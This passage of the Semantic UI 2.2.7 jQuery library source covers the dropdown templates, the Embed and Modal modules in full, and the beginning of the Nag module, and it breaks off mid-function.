'results', // grouping for api results values : 'values', // grouping for all dropdown values disabled : 'disabled', // whether value should be disabled name : 'name', // displayed dropdown text value : 'value', // actual dropdown value text : 'text' // displayed text when selected }, keys : { backspace : 8, delimiter : 188, // comma deleteKey : 46, enter : 13, escape : 27, pageUp : 33, pageDown : 34, leftArrow : 37, upArrow : 38, rightArrow : 39, downArrow : 40 }, selector : { addition : '.addition', dropdown : '.ui.dropdown', hidden : '.hidden', icon : '> .dropdown.icon', input : '> input[type="hidden"], > select', item : '.item', label : '> .label', remove : '> .label > .delete.icon', siblingLabel : '.label', menu : '.menu', message : '.message', menuIcon : '.dropdown.icon', search : 'input.search, .menu > .search > input, .menu input.search', sizer : '> input.sizer', text : '> .text:not(.icon)', unselectable : '.disabled, .filtered' }, className : { active : 'active', addition : 'addition', animating : 'animating', disabled : 'disabled', empty : 'empty', dropdown : 'ui dropdown', filtered : 'filtered', hidden : 'hidden transition', item : 'item', label : 'ui label', loading : 'loading', menu : 'menu', message : 'message', multiple : 'multiple', placeholder : 'default', sizer : 'sizer', search : 'search', selected : 'selected', selection : 'selection', upward : 'upward', visible : 'visible' } }; /* Templates */ $.fn.dropdown.settings.templates = { // generates dropdown from select values dropdown: function(select) { var placeholder = select.placeholder || false, values = select.values || {}, html = '' ; html += '<i class="dropdown icon"></i>'; if(select.placeholder) { html += '<div class="default text">' + placeholder + '</div>'; } else { html += '<div class="text"></div>'; } html += '<div class="menu">'; $.each(select.values, function(index, option) { html += (option.disabled) ? '<div class="disabled item" data-value="' + option.value + '">' + option.name + '</div>' : '<div class="item" data-value="' + option.value + '">' + option.name + '</div>' ; }); html += '</div>'; return html; }, // generates just menu from select menu: function(response, fields) { var values = response[fields.values] || {}, html = '' ; $.each(values, function(index, option) { var maybeText = (option[fields.text]) ? 'data-text="' + option[fields.text] + '"' : '', maybeDisabled = (option[fields.disabled]) ? 'disabled ' : '' ; html += '<div class="'+ maybeDisabled +'item" data-value="' + option[fields.value] + '"' + maybeText + '>' html += option[fields.name]; html += '</div>'; }); return html; }, // generates label for multiselect label: function(value, text) { return text + '<i class="delete icon"></i>'; }, // generates messages like "No results" message: function(message) { return message; }, // generates user addition to selection menu addition: function(choice) { return choice; } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Embed * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.embed = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.embed.settings, parameters) : $.extend({}, $.fn.embed.settings), selector = settings.selector, className = settings.className, sources = settings.sources, error = settings.error, metadata = settings.metadata, namespace = settings.namespace, templates = settings.templates, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $window = $(window), $module = $(this), $placeholder = $module.find(selector.placeholder), $icon = $module.find(selector.icon), $embed = $module.find(selector.embed), element = this, instance = $module.data(moduleNamespace), module ; module = { initialize: function() { module.debug('Initializing embed'); module.determine.autoplay(); module.create(); module.bind.events(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous instance of embed'); module.reset(); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, refresh: function() { module.verbose('Refreshing selector cache'); $placeholder = $module.find(selector.placeholder); $icon = $module.find(selector.icon); $embed = $module.find(selector.embed); }, bind: { events: function() { if( module.has.placeholder() ) { module.debug('Adding placeholder events'); $module .on('click' + eventNamespace, selector.placeholder, module.createAndShow) .on('click' + eventNamespace, selector.icon, module.createAndShow) ; } } }, create: function() { var placeholder = module.get.placeholder() ; if(placeholder) { module.createPlaceholder(); } else { module.createAndShow(); } }, createPlaceholder: function(placeholder) { var icon = module.get.icon(), url = module.get.url(), embed = module.generate.embed(url) ; placeholder = placeholder || module.get.placeholder(); $module.html( templates.placeholder(placeholder, icon) ); module.debug('Creating placeholder for embed', placeholder, icon); }, createEmbed: function(url) { module.refresh(); url = url || module.get.url(); $embed = $('<div/>') .addClass(className.embed) .html( module.generate.embed(url) ) .appendTo($module) ; settings.onCreate.call(element, url); module.debug('Creating embed object', $embed); }, changeEmbed: function(url) { $embed .html( module.generate.embed(url) ) ; }, createAndShow: function() { module.createEmbed(); module.show(); }, // sets new embed change: function(source, id, url) { module.debug('Changing video to ', source, id, url); $module .data(metadata.source, source) .data(metadata.id, id) ; if(url) { $module.data(metadata.url, url); } else { $module.removeData(metadata.url); } if(module.has.embed()) { module.changeEmbed(); } else { module.create(); } }, // clears embed reset: function() { module.debug('Clearing embed and showing placeholder'); module.remove.active(); module.remove.embed(); module.showPlaceholder(); settings.onReset.call(element); }, // shows current embed show: function() { module.debug('Showing embed'); module.set.active(); settings.onDisplay.call(element); }, hide: function() { module.debug('Hiding embed'); module.showPlaceholder(); }, showPlaceholder: function() { module.debug('Showing placeholder image'); module.remove.active(); settings.onPlaceholderDisplay.call(element); }, get: { id: function() { return settings.id || $module.data(metadata.id); }, placeholder: function() { return settings.placeholder || $module.data(metadata.placeholder); }, icon: function() { return (settings.icon) ? settings.icon : ($module.data(metadata.icon) !== undefined) ? $module.data(metadata.icon) : module.determine.icon() ; }, source: function(url) { return (settings.source) ? settings.source : ($module.data(metadata.source) !== undefined) ? $module.data(metadata.source) : module.determine.source() ; }, type: function() { var source = module.get.source(); return (sources[source] !== undefined) ? sources[source].type : false ; }, url: function() { return (settings.url) ? settings.url : ($module.data(metadata.url) !== undefined) ? $module.data(metadata.url) : module.determine.url() ; } }, determine: { autoplay: function() { if(module.should.autoplay()) { settings.autoplay = true; } }, source: function(url) { var matchedSource = false ; url = url || module.get.url(); if(url) { $.each(sources, function(name, source) { if(url.search(source.domain) !== -1) { matchedSource = name; return false; } }); } return matchedSource; }, icon: function() { var source = module.get.source() ; return (sources[source] !== undefined) ? sources[source].icon : false ; }, url: function() { var id = settings.id || $module.data(metadata.id), source = settings.source || $module.data(metadata.source), url ; url = (sources[source] !== undefined) ? sources[source].url.replace('{id}', id) : false ; if(url) { $module.data(metadata.url, url); } return url; } }, set: { active: function() { $module.addClass(className.active); } }, remove: { active: function() { $module.removeClass(className.active); }, embed: function() { $embed.empty(); } }, encode: { parameters: function(parameters) { var urlString = [], index ; for (index in parameters) { urlString.push( encodeURIComponent(index) + '=' + encodeURIComponent( parameters[index] ) ); } return urlString.join('&amp;'); } }, generate: { embed: function(url) { module.debug('Generating embed html'); var source = module.get.source(), html, parameters ; url = module.get.url(url); if(url) { parameters = module.generate.parameters(source); html = templates.iframe(url, parameters); } else { module.error(error.noURL, $module); } return html; }, parameters: function(source, extraParameters) { var parameters = (sources[source] && sources[source].parameters !== undefined) ? sources[source].parameters(settings) : {} ; extraParameters = extraParameters || settings.parameters; if(extraParameters) { parameters = $.extend({}, parameters, extraParameters); } parameters = settings.onEmbed(parameters); return module.encode.parameters(parameters); } }, has: { embed: function() { return ($embed.length > 0); }, placeholder: function() { return settings.placeholder || $module.data(metadata.placeholder); } }, should: { autoplay: function() { return (settings.autoplay === 'auto') ? (settings.placeholder || $module.data(metadata.placeholder) !== undefined) : settings.autoplay ; } }, is: { video: function() { return module.get.type() == 'video'; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.embed.settings = { name : 'Embed', namespace : 'embed', silent : false, debug : false, verbose : false, performance : true, icon : false, source : false, url : false, id : false, // standard video settings autoplay : 'auto', color : '#444444', hd : true, brandedUI : false, // additional parameters to include with the embed parameters: false, onDisplay : function() {}, onPlaceholderDisplay : function() {}, onReset : function() {}, onCreate : function(url) {}, onEmbed : function(parameters) { return parameters; }, metadata : { id : 'id', icon : 'icon', placeholder : 'placeholder', source : 'source', url : 'url' }, error : { noURL : 'No URL specified', method : 'The method you called is not defined' }, className : { active : 'active', embed : 'embed' }, selector : { embed : '.embed', placeholder : '.placeholder', icon : '.icon' }, sources: { youtube: { name : 'youtube', type : 'video', icon : 'video play', domain : 'youtube.com', url : '//www.youtube.com/embed/{id}', parameters: function(settings) { return { autohide : !settings.brandedUI, autoplay : settings.autoplay, color : settings.color || undefined, hq : settings.hd, jsapi : settings.api, modestbranding : !settings.brandedUI }; } }, vimeo: { name : 'vimeo', type : 'video', icon : 'video play', domain : 'vimeo.com', url : '//player.vimeo.com/video/{id}', parameters: function(settings) { return { api : settings.api, autoplay : settings.autoplay, byline : settings.brandedUI, color : settings.color || undefined, portrait : settings.brandedUI, title : settings.brandedUI }; } } }, templates: { iframe : function(url, parameters) { var src = url; if (parameters) { src += '?' + parameters; } return '' + '<iframe src="' + src + '"' + ' width="100%" height="100%"' + ' frameborder="0" scrolling="no" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>' ; }, placeholder : function(image, icon) { var html = '' ; if(icon) { html += '<i class="' + icon + ' icon"></i>'; } if(image) { html += '<img class="placeholder" src="' + image + '">'; } return html; } }, // NOT YET IMPLEMENTED api : false, onPause : function() {}, onPlay : function() {}, onStop : function() {} }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Modal * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.modal = function(parameters) { var $allModules = $(this), $window = $(window), $document = $(document), $body = $('body'), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.modal.settings, parameters) : $.extend({}, $.fn.modal.settings), selector = settings.selector, className = settings.className, namespace = settings.namespace, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $context = $(settings.context), $close = $module.find(selector.close), $allModals, $otherModals, $focusedElement, $dimmable, $dimmer, element = this, instance = $module.data(moduleNamespace), elementEventNamespace, id, observer, module ; module = { initialize: function() { module.verbose('Initializing dimmer', $context); module.create.id(); module.create.dimmer(); module.refreshModals(); module.bind.events(); if(settings.observeChanges) { module.observeChanges(); } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of modal'); instance = module; $module .data(moduleNamespace, instance) ; }, create: { dimmer: function() { var defaultSettings = { debug : settings.debug, dimmerName : 'modals', duration : { show : settings.duration, hide : settings.duration } }, dimmerSettings = $.extend(true, defaultSettings, settings.dimmerSettings) ; if(settings.inverted) { dimmerSettings.variation = (dimmerSettings.variation !== undefined) ? dimmerSettings.variation + ' inverted' : 'inverted' ; } if($.fn.dimmer === undefined) { module.error(error.dimmer); return; } module.debug('Creating dimmer with settings', dimmerSettings); $dimmable = $context.dimmer(dimmerSettings); if(settings.detachable) { module.verbose('Modal is detachable, moving content into dimmer'); $dimmable.dimmer('add content', $module); } else { module.set.undetached(); } if(settings.blurring) { $dimmable.addClass(className.blurring); } $dimmer = $dimmable.dimmer('get dimmer'); }, id: function() { id = (Math.random().toString(16) + '000000000').substr(2,8); elementEventNamespace = '.' + id; module.verbose('Creating unique id for element', id); } }, destroy: function() { module.verbose('Destroying previous modal'); $module .removeData(moduleNamespace) .off(eventNamespace) ; $window.off(elementEventNamespace); $dimmer.off(elementEventNamespace); $close.off(eventNamespace); $context.dimmer('destroy'); }, observeChanges: function() { if('MutationObserver' in window) { observer = new MutationObserver(function(mutations) { module.debug('DOM tree modified, refreshing'); module.refresh(); }); observer.observe(element, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, refresh: function() { module.remove.scrolling(); module.cacheSizes(); module.set.screenHeight(); module.set.type(); module.set.position(); }, refreshModals: function() { $otherModals = $module.siblings(selector.modal); $allModals = $otherModals.add($module); }, attachEvents: function(selector, event) { var $toggle = $(selector) ; event = $.isFunction(module[event]) ? module[event] : module.toggle ; if($toggle.length > 0) { module.debug('Attaching modal events to element', selector, event); $toggle .off(eventNamespace) .on('click' + eventNamespace, event) ; } else { module.error(error.notFound, selector); } }, bind: { events: function() { module.verbose('Attaching events'); $module .on('click' + eventNamespace, selector.close, module.event.close) .on('click' + eventNamespace, selector.approve, module.event.approve) .on('click' + eventNamespace, selector.deny, module.event.deny) ; $window .on('resize' + elementEventNamespace, module.event.resize) ; } }, get: { id: function() { return (Math.random().toString(16) + '000000000').substr(2,8); } }, event: { approve: function() { if(settings.onApprove.call(element, $(this)) === false) { module.verbose('Approve callback returned false cancelling hide'); return; } module.hide(); }, deny: function() { if(settings.onDeny.call(element, $(this)) === false) { module.verbose('Deny callback returned false cancelling hide'); return; } module.hide(); }, close: function() { module.hide(); }, click: function(event) { var $target = $(event.target), isInModal = ($target.closest(selector.modal).length > 0), isInDOM = $.contains(document.documentElement, event.target) ; if(!isInModal && isInDOM) { module.debug('Dimmer clicked, hiding all modals'); if( module.is.active() ) { module.remove.clickaway(); if(settings.allowMultiple) { module.hide(); } else { module.hideAll(); } } } }, debounce: function(method, delay) { clearTimeout(module.timer); module.timer = setTimeout(method, delay); }, keyboard: function(event) { var keyCode = event.which, escapeKey = 27 ; if(keyCode == escapeKey) { if(settings.closable) { module.debug('Escape key pressed hiding modal'); module.hide(); } else { module.debug('Escape key pressed, but closable is set to false'); } event.preventDefault(); } }, resize: function() { if( $dimmable.dimmer('is active') ) { requestAnimationFrame(module.refresh); } } }, toggle: function() { if( module.is.active() || module.is.animating() ) { module.hide(); } else { module.show(); } }, show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; module.refreshModals(); module.showModal(callback); }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; module.refreshModals(); module.hideModal(callback); }, showModal: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if( module.is.animating() || !module.is.active() ) { module.showDimmer(); module.cacheSizes(); module.set.position(); module.set.screenHeight(); module.set.type(); module.set.clickaway(); if( !settings.allowMultiple && module.others.active() ) { module.hideOthers(module.showModal); } else { settings.onShow.call(element); if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { module.debug('Showing modal with css animations'); $module .transition({ debug : settings.debug, animation : settings.transition + ' in', queue : settings.queue, duration : settings.duration, useFailSafe : true, onComplete : function() { settings.onVisible.apply(element); if(settings.keyboardShortcuts) { module.add.keyboardShortcuts(); } module.save.focus(); module.set.active(); if(settings.autofocus) { module.set.autofocus(); } callback(); } }) ; } else { module.error(error.noTransition); } } } else { module.debug('Modal is already visible'); } }, hideModal: function(callback, keepDimmed) { callback = $.isFunction(callback) ? callback : function(){} ; module.debug('Hiding modal'); if(settings.onHide.call(element, $(this)) === false) { module.verbose('Hide callback returned false cancelling hide'); return; } if( module.is.animating() || module.is.active() ) { if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { module.remove.active(); $module .transition({ debug : settings.debug, animation : settings.transition + ' out', queue : settings.queue, duration : settings.duration, useFailSafe : true, onStart : function() { if(!module.others.active() && !keepDimmed) { module.hideDimmer(); } if(settings.keyboardShortcuts) { module.remove.keyboardShortcuts(); } }, onComplete : function() { settings.onHidden.call(element); module.restore.focus(); callback(); } }) ; } else { module.error(error.noTransition); } } }, showDimmer: function() { if($dimmable.dimmer('is animating') || !$dimmable.dimmer('is active') ) { module.debug('Showing dimmer'); $dimmable.dimmer('show'); } else { module.debug('Dimmer already visible'); } }, hideDimmer: function() { if( $dimmable.dimmer('is animating') || ($dimmable.dimmer('is active')) ) { $dimmable.dimmer('hide', function() { module.remove.clickaway(); module.remove.screenHeight(); }); } else { module.debug('Dimmer is not visible cannot hide'); return; } }, hideAll: function(callback) { var $visibleModals = $allModals.filter('.' + className.active + ', .' + className.animating) ; callback = $.isFunction(callback) ? callback : function(){} ; if( $visibleModals.length > 0 ) { module.debug('Hiding all visible modals'); module.hideDimmer(); $visibleModals .modal('hide modal', callback) ; } }, hideOthers: function(callback) { var $visibleModals = $otherModals.filter('.' + className.active + ', .' + className.animating) ; callback = $.isFunction(callback) ? callback : function(){} ; if( $visibleModals.length > 0 ) { module.debug('Hiding other modals', $otherModals); $visibleModals .modal('hide modal', callback, true) ; } }, others: { active: function() { return ($otherModals.filter('.' + className.active).length > 0); }, animating: function() { return ($otherModals.filter('.' + className.animating).length > 0); } }, add: { keyboardShortcuts: function() { module.verbose('Adding keyboard shortcuts'); $document .on('keyup' + eventNamespace, module.event.keyboard) ; } }, save: { focus: function() { $focusedElement = $(document.activeElement).blur(); } }, restore: { focus: function() { if($focusedElement && $focusedElement.length > 0) { $focusedElement.focus(); } } }, remove: { active: function() { $module.removeClass(className.active); }, clickaway: function() { if(settings.closable) { $dimmer .off('click' + elementEventNamespace) ; } }, bodyStyle: function() { if($body.attr('style') === '') { module.verbose('Removing style attribute'); $body.removeAttr('style'); } }, screenHeight: function() { module.debug('Removing page height'); $body .css('height', '') ; }, keyboardShortcuts: function() { module.verbose('Removing keyboard shortcuts'); $document .off('keyup' + eventNamespace) ; }, scrolling: function() { $dimmable.removeClass(className.scrolling); $module.removeClass(className.scrolling); } }, cacheSizes: function() { var modalHeight = $module.outerHeight() ; if(module.cache === undefined || modalHeight !== 0) { module.cache = { pageHeight : $(document).outerHeight(), height : modalHeight + settings.offset, contextHeight : (settings.context == 'body') ? $(window).height() : $dimmable.height() }; } module.debug('Caching modal and container sizes', module.cache); }, can: { fit: function() { return ( ( module.cache.height + (settings.padding * 2) ) < module.cache.contextHeight); } }, is: { active: function() { return $module.hasClass(className.active); }, animating: function() { return $module.transition('is supported') ? $module.transition('is animating') : $module.is(':visible') ; }, scrolling: function() { return $dimmable.hasClass(className.scrolling); }, modernBrowser: function() { // appName for IE11 reports 'Netscape' can no longer use return !(window.ActiveXObject || "ActiveXObject" in window); } }, set: { autofocus: function() { var $inputs = $module.find('[tabindex], :input').filter(':visible'), $autofocus = $inputs.filter('[autofocus]'), $input = ($autofocus.length > 0) ? $autofocus.first() : $inputs.first() ; if($input.length > 0) { $input.focus(); } }, clickaway: function() { if(settings.closable) { $dimmer .on('click' + elementEventNamespace, module.event.click) ; } }, screenHeight: function() { if( module.can.fit() ) { $body.css('height', ''); } else { module.debug('Modal is taller than page content, resizing page height'); $body .css('height', module.cache.height + (settings.padding * 2) ) ; } }, active: function() { $module.addClass(className.active); }, scrolling: function() { $dimmable.addClass(className.scrolling); $module.addClass(className.scrolling); }, type: function() { if(module.can.fit()) { module.verbose('Modal fits on screen'); if(!module.others.active() && !module.others.animating()) { module.remove.scrolling(); } } else { module.verbose('Modal cannot fit on screen setting to scrolling'); module.set.scrolling(); } }, position: function() { module.verbose('Centering modal on page', module.cache); if(module.can.fit()) { $module .css({ top: '', marginTop: -(module.cache.height / 2) }) ; } else { $module .css({ marginTop : '', top : $document.scrollTop() }) ; } }, undetached: function() { $dimmable.addClass(className.undetached); } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.modal.settings = { name : 'Modal', namespace : 'modal', silent : false, debug : false, verbose : false, performance : true, observeChanges : false, allowMultiple : false, detachable : true, closable : true, autofocus : true, inverted : false, blurring : false, dimmerSettings : { closable : false, useCSS : true }, // whether to use keyboard shortcuts keyboardShortcuts: true, context : 'body', queue : false, duration : 500, offset : 0, transition : 'scale', // padding with edge of page padding : 50, // called before show animation onShow : function(){}, // called after show animation onVisible : function(){}, // called before hide animation onHide : function(){ return true; }, // called after hide animation onHidden : function(){}, // called after approve selector match onApprove : function(){ return true; }, // called after deny selector match onDeny : function(){ return true; }, selector : { close : '> .close', approve : '.actions .positive, .actions .approve, .actions .ok', deny : '.actions .negative, .actions .deny, .actions .cancel', modal : '.ui.modal' }, error : { dimmer : 'UI Dimmer, a required component is not included in this page', method : 'The method you called is not defined.', notFound : 'The element you specified could not be found' }, className : { active : 'active', animating : 'animating', blurring : 'blurring', scrolling : 'scrolling', undetached : 'undetached' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Nag * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.nag = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.nag.settings, parameters) : $.extend({}, $.fn.nag.settings), className = settings.className, selector = settings.selector, error = settings.error, namespace = settings.namespace, eventNamespace = '.' + namespace, moduleNamespace = namespace + '-module', $module = $(this), $close = $module.find(selector.close), $context = (settings.context) ? $(settings.context) : $('body'), element = this, instance = $module.data(moduleNamespace), moduleOffset, moduleHeight, contextWidth, contextHeight, contextOffset, yOffset, yPosition, timer, module, requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); } ; module = { initialize: function() { module.verbose('Initializing element'); $module .on('click' + eventNamespace, selector.close, module.dismiss) .data(moduleNamespace, module) ; if(settings.detachable && $module.parent()[0] !== $context[0]) { $module .detach() .prependTo($context) ; } if(settings.displayTime > 0) { setTimeout(module.hide, settings.displayTime); } module.show(); }, destroy: function() { module.verbose('Destroying instance'); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, show: function() { if( module.should.show() && !$module.is(':visible') ) { module.debug('Showing nag', settings.animation.show); if(settings.animation.show == 'fade') { $module .fadeIn(settings.duration, settings.easing) ; } else { $module .slideDown(settings.duration, settings.easing) ; } } }, hide: function() { module.debug('Showing nag', settings.animation.hide); if(settings.animation.show == 'fade') { $module .fadeIn(settings.duration, settings.easing) ; } else { $module .slideUp(settings.duration, settings.easing) ; } }, onHide: function() { module.debug('Removing nag', settings.animation.hide); $module.remove(); if (settings.onHide) { settings.onHide(); } }, dismiss: function(event) { if(settings.storageMethod) { module.storage.set(settings.key, settings.value); } module.hide(); event.stopImmediatePropagation(); event.preventDefault(); }, should: { show: function() { if(settings.persist) { module.debug('Persistent nag is set, can show nag'); return true; } if( module.storage.get(settings.key) != settings.value.toString() ) { module.debug('Stored value is not set, can show nag', module.storage.get(settings.key)); return true; } module.debug('Stored value is set, cannot show nag', module.storage.get(settings.key)); return false; } }, get: { storageOptions: function() { var options = {} ; if(settings.expires) { options.expires = settings.expires; } if(settings.domain) { options.domain = settings.domain; } if(settings.path) { options.path = settings.path; } return options; } }, clear: function() { module.storage.remove(settings.key); }, storage: { set: function(key, value) { var options = module.get.storageOptions() ; if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) { window.localStorage.setItem(key, value); module.debug('Value stored using local storage', key, value); } else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) { window.sessionStorage.setItem(key, value); module.debug('Value stored using session storage', key, value); } else if($.cookie !== undefined) { $.cookie(key, value, options); module.debug('Value stored using cookie', key, value, options); } else { module.error(error.noCookieStorage); return; } }, get: function(key, value) { var storedValue ; if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) { storedValue = window.localStorage.getItem(key); } else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) { storedValue = window.sessionStorage.getItem(key); } // get by cookie else if($.cookie !== undefined) { storedValue = $.cookie(key); } else { module.error(error.noCookieStorage); } if(storedValue == 'undefined' || storedValue == 'null' || storedValue === undefined || storedValue === null) { storedValue = undefined; } return storedValue; }, remove: function(key) { var options = 